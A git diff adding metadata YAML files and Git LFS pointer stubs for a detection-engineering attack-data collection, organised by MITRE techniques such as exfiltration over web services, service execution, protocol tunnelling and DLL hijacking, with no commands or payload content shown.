a/datasets/attack_techniques/T1567/o365_sus_file_activity/T1567_o365_sus_file_activity.yml b/datasets/attack_techniques/T1567/o365_sus_file_activity/T1567_o365_sus_file_activity.yml new file mode 100644 index 000000000..675d75028 --- /dev/null +++ b/datasets/attack_techniques/T1567/o365_sus_file_activity/T1567_o365_sus_file_activity.yml @@ -0,0 +1,13 @@ +author: STRT +id: adc553e1-f4d3-4464-a712-2c047fb2be9e +date: '2026-07-10' +description: Curated attack data generated for detection O365 Exfiltration via File + Access +environment: attack_range +directory: o365_sus_file_activity +mitre_technique: [] +datasets: +- name: o365_sus_file_activity + path: /datasets/attack_techniques/T1567/o365_sus_file_activity/o365_sus_file_activity-adc553e1-f4d3-4464-a712-2c047fb2be9e.log + sourcetype: o365:management:activity + source: o365 diff --git a/datasets/attack_techniques/T1567/o365_sus_file_activity/o365_sus_file_activity-adc553e1-f4d3-4464-a712-2c047fb2be9e.log b/datasets/attack_techniques/T1567/o365_sus_file_activity/o365_sus_file_activity-adc553e1-f4d3-4464-a712-2c047fb2be9e.log new file mode 100644 index 000000000..c17127761 --- /dev/null +++ b/datasets/attack_techniques/T1567/o365_sus_file_activity/o365_sus_file_activity-adc553e1-f4d3-4464-a712-2c047fb2be9e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1863438d340069caf122910e920321495394055e237c2c84f7897e89a6219757 +size 140346 diff --git a/datasets/attack_techniques/T1567/web_upload_nginx/T1567_web_upload_nginx.yml b/datasets/attack_techniques/T1567/web_upload_nginx/T1567_web_upload_nginx.yml new file mode 100644 index 000000000..af69633e0 --- /dev/null +++ b/datasets/attack_techniques/T1567/web_upload_nginx/T1567_web_upload_nginx.yml @@ -0,0 +1,13 @@ +author: STRT +id: c7a96bd7-6804-4b1b-873d-1f4e37afda98 +date: '2026-07-13' +description: Curated attack data generated for detection High Volume of Bytes Out + to Url +environment: attack_range +directory: web_upload_nginx +mitre_technique: [] +datasets: +- name: web_upload_nginx + path: /datasets/attack_techniques/T1567/web_upload_nginx/web_upload_nginx-c7a96bd7-6804-4b1b-873d-1f4e37afda98.log + sourcetype: nginx:plus:kv + source: /var/log/nginx/access.log diff --git a/datasets/attack_techniques/T1567/web_upload_nginx/web_upload_nginx-c7a96bd7-6804-4b1b-873d-1f4e37afda98.log b/datasets/attack_techniques/T1567/web_upload_nginx/web_upload_nginx-c7a96bd7-6804-4b1b-873d-1f4e37afda98.log new file mode 100644 index 000000000..d8e84489f --- /dev/null +++ b/datasets/attack_techniques/T1567/web_upload_nginx/web_upload_nginx-c7a96bd7-6804-4b1b-873d-1f4e37afda98.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2ca46a734fac648644e0edadd04fb9ebba99a39434f2e19a17cb10c9119067a1 +size 540 diff --git a/datasets/attack_techniques/T1569.002/atomic_red_team/T1569.002_atomic_red_team.yml b/datasets/attack_techniques/T1569.002/atomic_red_team/T1569.002_atomic_red_team.yml new file mode 100644 index 000000000..ec9fd5f39 --- /dev/null +++ b/datasets/attack_techniques/T1569.002/atomic_red_team/T1569.002_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: 82dfcc0b-ef3d-4bf7-ade2-a649daa40c1b +date: '2026-07-10' +description: Curated attack data generated for detection Detect Renamed PSExec +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1569.002/atomic_red_team/windows-sysmon-82dfcc0b-ef3d-4bf7-ade2-a649daa40c1b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1569.002/atomic_red_team/windows-sysmon-82dfcc0b-ef3d-4bf7-ade2-a649daa40c1b.log b/datasets/attack_techniques/T1569.002/atomic_red_team/windows-sysmon-82dfcc0b-ef3d-4bf7-ade2-a649daa40c1b.log new file mode 100644 index 000000000..f6eb4b824 --- /dev/null +++ b/datasets/attack_techniques/T1569.002/atomic_red_team/windows-sysmon-82dfcc0b-ef3d-4bf7-ade2-a649daa40c1b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:56179ca76bcc0ec48eeb6a87c65fd971f3f9ed575e773d0765c670dd72702241 +size 1967 diff --git a/datasets/attack_techniques/T1569.002/remcom/T1569.002_remcom.yml b/datasets/attack_techniques/T1569.002/remcom/T1569.002_remcom.yml new file mode 100644 index 000000000..46fcffb1a --- /dev/null +++ b/datasets/attack_techniques/T1569.002/remcom/T1569.002_remcom.yml @@ -0,0 +1,13 @@ +author: STRT +id: b1ce50dc-93a8-4e2a-b8af-43760311fb26 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Service Execution + RemCom +environment: attack_range +directory: remcom +mitre_technique: [] +datasets: +- name: remcom_windows-sysmon + path: /datasets/attack_techniques/T1569.002/remcom/remcom_windows-sysmon-b1ce50dc-93a8-4e2a-b8af-43760311fb26.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1569.002/remcom/remcom_windows-sysmon-b1ce50dc-93a8-4e2a-b8af-43760311fb26.log b/datasets/attack_techniques/T1569.002/remcom/remcom_windows-sysmon-b1ce50dc-93a8-4e2a-b8af-43760311fb26.log new file mode 100644 index 000000000..c06ffb1e5 --- /dev/null +++ b/datasets/attack_techniques/T1569.002/remcom/remcom_windows-sysmon-b1ce50dc-93a8-4e2a-b8af-43760311fb26.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:62a0b005097894ee5c4baefb0be73ff74f74e07d3f7efea900047f4589c759af +size 19093 diff --git a/datasets/attack_techniques/T1569.002/scmanager_sddl_tamper/T1569.002_scmanager_sddl_tamper.yml b/datasets/attack_techniques/T1569.002/scmanager_sddl_tamper/T1569.002_scmanager_sddl_tamper.yml new file mode 100644 index 000000000..83925f8a3 --- /dev/null +++ b/datasets/attack_techniques/T1569.002/scmanager_sddl_tamper/T1569.002_scmanager_sddl_tamper.yml @@ -0,0 +1,13 @@ +author: STRT +id: d9d2a887-5672-43f5-a39b-f76f2ccbed7e +date: '2026-07-11' +description: Curated attack data generated for detection Windows ScManager Security + Descriptor Tampering Via Sc.EXE +environment: attack_range +directory: scmanager_sddl_tamper +mitre_technique: [] +datasets: +- name: scmanager_sddl_tamper_sysmon + path: /datasets/attack_techniques/T1569.002/scmanager_sddl_tamper/scmanager_sddl_tamper_sysmon-d9d2a887-5672-43f5-a39b-f76f2ccbed7e.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1569.002/scmanager_sddl_tamper/scmanager_sddl_tamper_sysmon-d9d2a887-5672-43f5-a39b-f76f2ccbed7e.log b/datasets/attack_techniques/T1569.002/scmanager_sddl_tamper/scmanager_sddl_tamper_sysmon-d9d2a887-5672-43f5-a39b-f76f2ccbed7e.log new file mode 100644 index 000000000..7cf94cfa0 --- /dev/null +++ b/datasets/attack_techniques/T1569.002/scmanager_sddl_tamper/scmanager_sddl_tamper_sysmon-d9d2a887-5672-43f5-a39b-f76f2ccbed7e.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1de36fdd7b94b387f3bda47a6df391550e440f195cc61c905167d70e9172855c +size 2000 diff --git a/datasets/attack_techniques/T1569.002/windows_service_created_with_suspicious_service_path/T1569.002_windows_service_created_with_suspicious_service_path.yml b/datasets/attack_techniques/T1569.002/windows_service_created_with_suspicious_service_path/T1569.002_windows_service_created_with_suspicious_service_path.yml new file mode 100644 index 000000000..53d017aa9 --- /dev/null +++ b/datasets/attack_techniques/T1569.002/windows_service_created_with_suspicious_service_path/T1569.002_windows_service_created_with_suspicious_service_path.yml @@ -0,0 +1,13 @@ +author: STRT +id: 62e9a855-2de5-495a-8eb2-e007313bd487 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Service Created with + Suspicious Service Path +environment: attack_range +directory: windows_service_created_with_suspicious_service_path +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1569.002/windows_service_created_with_suspicious_service_path/windows-xml-62e9a855-2de5-495a-8eb2-e007313bd487.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1569.002/windows_service_created_with_suspicious_service_path/windows-xml-62e9a855-2de5-495a-8eb2-e007313bd487.log b/datasets/attack_techniques/T1569.002/windows_service_created_with_suspicious_service_path/windows-xml-62e9a855-2de5-495a-8eb2-e007313bd487.log new file mode 100644 index 000000000..25fa6e3f0 --- /dev/null +++ b/datasets/attack_techniques/T1569.002/windows_service_created_with_suspicious_service_path/windows-xml-62e9a855-2de5-495a-8eb2-e007313bd487.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e53292f778590f2661d8b6874e89590d02587ff14ca632e04a236259e38a679b +size 1816 diff --git a/datasets/attack_techniques/T1572/ngrok/T1572_ngrok.yml b/datasets/attack_techniques/T1572/ngrok/T1572_ngrok.yml new file mode 100644 index 000000000..0f04e7b3e --- /dev/null +++ b/datasets/attack_techniques/T1572/ngrok/T1572_ngrok.yml @@ -0,0 +1,17 @@ +author: STRT +id: 67a85f7c-2593-4486-a5f2-8fa0cb60c7a5 +date: '2026-07-13' +description: Curated attack data generated for detection Linux Ngrok Reverse Proxy + Usage +environment: attack_range +directory: ngrok +mitre_technique: [] +datasets: +- name: ngrok_linux-sysmon + path: /datasets/attack_techniques/T1572/ngrok/ngrok_linux-sysmon-67a85f7c-2593-4486-a5f2-8fa0cb60c7a5.log + sourcetype: sysmon:linux + source: Syslog:Linux-Sysmon/Operational +- name: windows-sysmon + path: /datasets/attack_techniques/T1572/ngrok/windows-sysmon-67a85f7c-2593-4486-a5f2-8fa0cb60c7a5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1572/ngrok/ngrok_linux-sysmon-67a85f7c-2593-4486-a5f2-8fa0cb60c7a5.log b/datasets/attack_techniques/T1572/ngrok/ngrok_linux-sysmon-67a85f7c-2593-4486-a5f2-8fa0cb60c7a5.log new file mode 100644 index 000000000..dec1b8776 --- /dev/null +++ b/datasets/attack_techniques/T1572/ngrok/ngrok_linux-sysmon-67a85f7c-2593-4486-a5f2-8fa0cb60c7a5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0b54c56595b20c90fd22245a2c7c6de49cc1c68dd36fbe690002bc23fa8fd014 +size 2963 diff --git a/datasets/attack_techniques/T1572/ngrok/windows-sysmon-67a85f7c-2593-4486-a5f2-8fa0cb60c7a5.log b/datasets/attack_techniques/T1572/ngrok/windows-sysmon-67a85f7c-2593-4486-a5f2-8fa0cb60c7a5.log new file mode 100644 index 000000000..3dc91a1f0 --- /dev/null +++ b/datasets/attack_techniques/T1572/ngrok/windows-sysmon-67a85f7c-2593-4486-a5f2-8fa0cb60c7a5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1b10785ac3c14df80eb0ed73c3a29565609f104e45f8258c4e80d28894c80e16 +size 33129 diff --git a/datasets/attack_techniques/T1572/plink/T1572_plink.yml b/datasets/attack_techniques/T1572/plink/T1572_plink.yml new file mode 100644 index 000000000..ef3f2d5e9 --- /dev/null +++ b/datasets/attack_techniques/T1572/plink/T1572_plink.yml @@ -0,0 +1,13 @@ +author: STRT +id: f60922d0-7d7d-4b30-8622-031f4e8ea04f +date: '2026-07-11' +description: Curated attack data generated for detection Windows Protocol Tunneling + with Plink +environment: attack_range +directory: plink +mitre_technique: [] +datasets: +- name: plink-windows-sysmon + path: /datasets/attack_techniques/T1572/plink/plink-windows-sysmon-f60922d0-7d7d-4b30-8622-031f4e8ea04f.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1572/plink/plink-windows-sysmon-f60922d0-7d7d-4b30-8622-031f4e8ea04f.log b/datasets/attack_techniques/T1572/plink/plink-windows-sysmon-f60922d0-7d7d-4b30-8622-031f4e8ea04f.log new file mode 100644 index 000000000..670d96bcd --- /dev/null +++ b/datasets/attack_techniques/T1572/plink/plink-windows-sysmon-f60922d0-7d7d-4b30-8622-031f4e8ea04f.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:71455208331cde1f74519461254d8b77853e466e9d67faaea971876cb3fcddea +size 4070 diff --git a/datasets/attack_techniques/T1572/snapattack/T1572_snapattack.yml b/datasets/attack_techniques/T1572/snapattack/T1572_snapattack.yml new file mode 100644 index 000000000..b3b74d639 --- /dev/null +++ b/datasets/attack_techniques/T1572/snapattack/T1572_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3ad40c9b-03e1-4a6e-bbb4-c914118260b8 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Potential Cloudflared + Network Connection +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1572/snapattack/snapattack-3ad40c9b-03e1-4a6e-bbb4-c914118260b8.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1572/snapattack/snapattack-3ad40c9b-03e1-4a6e-bbb4-c914118260b8.log b/datasets/attack_techniques/T1572/snapattack/snapattack-3ad40c9b-03e1-4a6e-bbb4-c914118260b8.log new file mode 100644 index 000000000..da3d7e567 --- /dev/null +++ b/datasets/attack_techniques/T1572/snapattack/snapattack-3ad40c9b-03e1-4a6e-bbb4-c914118260b8.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:070da67bea6f2a04be710d7db981d47d746695d9c742612633577ada657d9808 +size 1604 diff --git a/datasets/attack_techniques/T1572/ssh_proxy_command/T1572_ssh_proxy_command.yml b/datasets/attack_techniques/T1572/ssh_proxy_command/T1572_ssh_proxy_command.yml new file mode 100644 index 000000000..f2cc41223 --- /dev/null +++ b/datasets/attack_techniques/T1572/ssh_proxy_command/T1572_ssh_proxy_command.yml @@ -0,0 +1,12 @@ +author: STRT +id: 010e2678-89bf-4a59-8e99-4f8c5b568317 +date: '2026-07-11' +description: Curated attack data generated for detection Windows SSH Proxy Command +environment: attack_range +directory: ssh_proxy_command +mitre_technique: [] +datasets: +- name: sshproxycommand_windows-sysmon + path: /datasets/attack_techniques/T1572/ssh_proxy_command/sshproxycommand_windows-sysmon-010e2678-89bf-4a59-8e99-4f8c5b568317.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1572/ssh_proxy_command/sshproxycommand_windows-sysmon-010e2678-89bf-4a59-8e99-4f8c5b568317.log b/datasets/attack_techniques/T1572/ssh_proxy_command/sshproxycommand_windows-sysmon-010e2678-89bf-4a59-8e99-4f8c5b568317.log new file mode 100644 index 000000000..3bbc0e2aa --- /dev/null +++ b/datasets/attack_techniques/T1572/ssh_proxy_command/sshproxycommand_windows-sysmon-010e2678-89bf-4a59-8e99-4f8c5b568317.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c9316aa83a3d4b874b24e5fcac5c6fd152af6364d83743cf9734d97afd5f44af +size 2334 diff --git a/datasets/attack_techniques/T1574.001/atomic_red_team/T1574.001_atomic_red_team.yml b/datasets/attack_techniques/T1574.001/atomic_red_team/T1574.001_atomic_red_team.yml new file mode 100644 index 000000000..feb635aa9 --- /dev/null +++ b/datasets/attack_techniques/T1574.001/atomic_red_team/T1574.001_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 18c972b4-debc-4aad-9f69-d1e9df880edd +date: '2026-07-11' +description: Curated attack data generated for detection Windows DLL Search Order + Hijacking Hunt with Sysmon +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1574.001/atomic_red_team/windows-sysmon-18c972b4-debc-4aad-9f69-d1e9df880edd.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.001/atomic_red_team/windows-sysmon-18c972b4-debc-4aad-9f69-d1e9df880edd.log b/datasets/attack_techniques/T1574.001/atomic_red_team/windows-sysmon-18c972b4-debc-4aad-9f69-d1e9df880edd.log new file mode 100644 index 000000000..9c658eadf --- /dev/null +++ b/datasets/attack_techniques/T1574.001/atomic_red_team/windows-sysmon-18c972b4-debc-4aad-9f69-d1e9df880edd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:066b6382e78cc0fb2618b2fc289f24a6e976b5219536148ec245597676f8511d +size 37551 diff --git a/datasets/attack_techniques/T1574.001/iscsicpl/T1574.001_iscsicpl.yml b/datasets/attack_techniques/T1574.001/iscsicpl/T1574.001_iscsicpl.yml new file mode 100644 index 000000000..17397b748 --- /dev/null +++ b/datasets/attack_techniques/T1574.001/iscsicpl/T1574.001_iscsicpl.yml @@ -0,0 +1,13 @@ +author: STRT +id: f5a39438-6798-4b8b-9dc3-e6ad2c20b63b +date: '2026-07-11' +description: Curated attack data generated for detection Windows DLL Search Order + Hijacking with iscsicpl +environment: attack_range +directory: iscsicpl +mitre_technique: [] +datasets: +- name: iscsicpl-windows-sysmon + path: /datasets/attack_techniques/T1574.001/iscsicpl/iscsicpl-windows-sysmon-f5a39438-6798-4b8b-9dc3-e6ad2c20b63b.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.001/iscsicpl/iscsicpl-windows-sysmon-f5a39438-6798-4b8b-9dc3-e6ad2c20b63b.log b/datasets/attack_techniques/T1574.001/iscsicpl/iscsicpl-windows-sysmon-f5a39438-6798-4b8b-9dc3-e6ad2c20b63b.log new file mode 100644 index 000000000..91d1f6655 --- /dev/null +++ b/datasets/attack_techniques/T1574.001/iscsicpl/iscsicpl-windows-sysmon-f5a39438-6798-4b8b-9dc3-e6ad2c20b63b.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:ff1e97ff8bb7275127c7de8156b5b87b3d9b46616947aae56f126b0792cd1f75 +size 1973 diff --git a/datasets/attack_techniques/T1574.002/hijacklibs/T1574.002_hijacklibs.yml b/datasets/attack_techniques/T1574.002/hijacklibs/T1574.002_hijacklibs.yml new file mode 100644 index 000000000..1f3031c22 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/hijacklibs/T1574.002_hijacklibs.yml @@ -0,0 +1,13 @@ +author: STRT +id: cf98199f-f4cd-4f9e-84e4-f1dbb3f023a5 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Known Abused DLL + Created +environment: attack_range +directory: hijacklibs +mitre_technique: [] +datasets: +- name: hijacklibs_sysmon + path: /datasets/attack_techniques/T1574.002/hijacklibs/hijacklibs_sysmon-cf98199f-f4cd-4f9e-84e4-f1dbb3f023a5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.002/hijacklibs/hijacklibs_sysmon-cf98199f-f4cd-4f9e-84e4-f1dbb3f023a5.log b/datasets/attack_techniques/T1574.002/hijacklibs/hijacklibs_sysmon-cf98199f-f4cd-4f9e-84e4-f1dbb3f023a5.log new file mode 100644 index 000000000..b435d930a --- /dev/null +++ b/datasets/attack_techniques/T1574.002/hijacklibs/hijacklibs_sysmon-cf98199f-f4cd-4f9e-84e4-f1dbb3f023a5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3bb20ddcccfb1c6648ce4248d07cbd07a9fa550c68f93955791693274ed5cf94 +size 2904 diff --git a/datasets/attack_techniques/T1574.002/lotus_blossom_chrysalis/T1574.002_lotus_blossom_chrysalis.yml b/datasets/attack_techniques/T1574.002/lotus_blossom_chrysalis/T1574.002_lotus_blossom_chrysalis.yml new file mode 100644 index 000000000..69eee8ad1 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/lotus_blossom_chrysalis/T1574.002_lotus_blossom_chrysalis.yml @@ -0,0 +1,13 @@ +author: STRT +id: a639a9b3-1a23-4c79-ad2b-267352206aa7 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Rundll32 Execution + With Log.DLL +environment: attack_range +directory: lotus_blossom_chrysalis +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1574.002/lotus_blossom_chrysalis/windows-sysmon-a639a9b3-1a23-4c79-ad2b-267352206aa7.log + sourcetype: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.002/lotus_blossom_chrysalis/windows-sysmon-a639a9b3-1a23-4c79-ad2b-267352206aa7.log b/datasets/attack_techniques/T1574.002/lotus_blossom_chrysalis/windows-sysmon-a639a9b3-1a23-4c79-ad2b-267352206aa7.log new file mode 100644 index 000000000..e00a305fc --- /dev/null +++ b/datasets/attack_techniques/T1574.002/lotus_blossom_chrysalis/windows-sysmon-a639a9b3-1a23-4c79-ad2b-267352206aa7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:66dad57f32a2178a924c5742ac7b68fa74d745d9efb8ac7796067e3464b9307c +size 9226 diff --git a/datasets/attack_techniques/T1574.002/msi_module_load/T1574.002_msi_module_load.yml b/datasets/attack_techniques/T1574.002/msi_module_load/T1574.002_msi_module_load.yml new file mode 100644 index 000000000..ff06bf2d6 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/msi_module_load/T1574.002_msi_module_load.yml @@ -0,0 +1,13 @@ +author: STRT +id: f1f9f721-57af-4379-9b81-96d384150e16 +date: '2026-07-10' +description: Curated attack data generated for detection MSI Module Loaded by Non-System + Binary +environment: attack_range +directory: msi_module_load +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1574.002/msi_module_load/windows-sysmon-f1f9f721-57af-4379-9b81-96d384150e16.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.002/msi_module_load/windows-sysmon-f1f9f721-57af-4379-9b81-96d384150e16.log b/datasets/attack_techniques/T1574.002/msi_module_load/windows-sysmon-f1f9f721-57af-4379-9b81-96d384150e16.log new file mode 100644 index 000000000..5f9fb29c3 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/msi_module_load/windows-sysmon-f1f9f721-57af-4379-9b81-96d384150e16.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2ee76196b53ba6b85d879243a81631e9523a3bbe87f9c89136211c8ae73ead39 +size 3008 diff --git a/datasets/attack_techniques/T1574.002/snapattack/T1574.002_snapattack.yml b/datasets/attack_techniques/T1574.002/snapattack/T1574.002_snapattack.yml new file mode 100644 index 000000000..1a71a4996 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/snapattack/T1574.002_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 9b8cdbd4-9741-4668-981e-e8276b5a73e9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Mustang Panda USB + Tool Execution +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1574.002/snapattack/snapattack-9b8cdbd4-9741-4668-981e-e8276b5a73e9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.002/snapattack/snapattack-9b8cdbd4-9741-4668-981e-e8276b5a73e9.log b/datasets/attack_techniques/T1574.002/snapattack/snapattack-9b8cdbd4-9741-4668-981e-e8276b5a73e9.log new file mode 100644 index 000000000..8a063557b --- /dev/null +++ b/datasets/attack_techniques/T1574.002/snapattack/snapattack-9b8cdbd4-9741-4668-981e-e8276b5a73e9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:af3e32c7e6ba9c8a36a718d2801f8f604d4d51eb69ac56d36e9918ae767ce5b4 +size 1993 diff --git a/datasets/attack_techniques/T1574.002/svr_loaded_modules/T1574.002_svr_loaded_modules.yml b/datasets/attack_techniques/T1574.002/svr_loaded_modules/T1574.002_svr_loaded_modules.yml new file mode 100644 index 000000000..2671bd4cd --- /dev/null +++ b/datasets/attack_techniques/T1574.002/svr_loaded_modules/T1574.002_svr_loaded_modules.yml @@ -0,0 +1,13 @@ +author: STRT +id: e890de9c-4e7e-4f8c-89ae-93441c04b826 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Known GraphicalProton + Loaded Modules +environment: attack_range +directory: svr_loaded_modules +mitre_technique: [] +datasets: +- name: loaded_module_svr + path: /datasets/attack_techniques/T1574.002/svr_loaded_modules/loaded_module_svr-e890de9c-4e7e-4f8c-89ae-93441c04b826.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.002/svr_loaded_modules/loaded_module_svr-e890de9c-4e7e-4f8c-89ae-93441c04b826.log b/datasets/attack_techniques/T1574.002/svr_loaded_modules/loaded_module_svr-e890de9c-4e7e-4f8c-89ae-93441c04b826.log new file mode 100644 index 000000000..ad4f46bc7 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/svr_loaded_modules/loaded_module_svr-e890de9c-4e7e-4f8c-89ae-93441c04b826.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d06da44636de4769d0a0fa411787103452846ffb980948fa38dd08737a4c35ed +size 5708 diff --git a/datasets/attack_techniques/T1574.002/unsigned_dll_load/T1574.002_unsigned_dll_load.yml b/datasets/attack_techniques/T1574.002/unsigned_dll_load/T1574.002_unsigned_dll_load.yml new file mode 100644 index 000000000..b11d30c4f --- /dev/null +++ b/datasets/attack_techniques/T1574.002/unsigned_dll_load/T1574.002_unsigned_dll_load.yml @@ -0,0 +1,12 @@ +author: STRT +id: 859387b5-b6a0-4921-963d-21a2320dfa11 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Unsigned MS DLL Side-Loading +environment: attack_range +directory: unsigned_dll_load +mitre_technique: [] +datasets: +- name: wineloader_dll_sideload + path: /datasets/attack_techniques/T1574.002/unsigned_dll_load/wineloader_dll_sideload-859387b5-b6a0-4921-963d-21a2320dfa11.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.002/unsigned_dll_load/wineloader_dll_sideload-859387b5-b6a0-4921-963d-21a2320dfa11.log b/datasets/attack_techniques/T1574.002/unsigned_dll_load/wineloader_dll_sideload-859387b5-b6a0-4921-963d-21a2320dfa11.log new file mode 100644 index 000000000..d0fb3b839 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/unsigned_dll_load/wineloader_dll_sideload-859387b5-b6a0-4921-963d-21a2320dfa11.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3ba9035e8ecc39be2a88b6e19b4484376186342e7e2fc77b8f909f31531a74d0 +size 2964 diff --git a/datasets/attack_techniques/T1574.002/unsigned_dll_loaded_same_process_path/T1574.002_unsigned_dll_loaded_same_process_path.yml b/datasets/attack_techniques/T1574.002/unsigned_dll_loaded_same_process_path/T1574.002_unsigned_dll_loaded_same_process_path.yml new file mode 100644 index 000000000..381003225 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/unsigned_dll_loaded_same_process_path/T1574.002_unsigned_dll_loaded_same_process_path.yml @@ -0,0 +1,13 @@ +author: STRT +id: d5b3c07d-c345-45bf-bccd-9025fc084de2 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Unsigned DLL Side-Loading + In Same Process Path +environment: attack_range +directory: unsigned_dll_loaded_same_process_path +mitre_technique: [] +datasets: +- name: unsigned_dll_process_path + path: /datasets/attack_techniques/T1574.002/unsigned_dll_loaded_same_process_path/unsigned_dll_process_path-d5b3c07d-c345-45bf-bccd-9025fc084de2.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.002/unsigned_dll_loaded_same_process_path/unsigned_dll_process_path-d5b3c07d-c345-45bf-bccd-9025fc084de2.log b/datasets/attack_techniques/T1574.002/unsigned_dll_loaded_same_process_path/unsigned_dll_process_path-d5b3c07d-c345-45bf-bccd-9025fc084de2.log new file mode 100644 index 000000000..72eea2fa8 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/unsigned_dll_loaded_same_process_path/unsigned_dll_process_path-d5b3c07d-c345-45bf-bccd-9025fc084de2.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:fb92d4b100e883d9f6890f583b531836d99a9a3d958a8a8975c8ca38b572cd37 +size 2872 diff --git a/datasets/attack_techniques/T1574.002/wineloader/T1574.002_wineloader.yml b/datasets/attack_techniques/T1574.002/wineloader/T1574.002_wineloader.yml new file mode 100644 index 000000000..314f99a7c --- /dev/null +++ 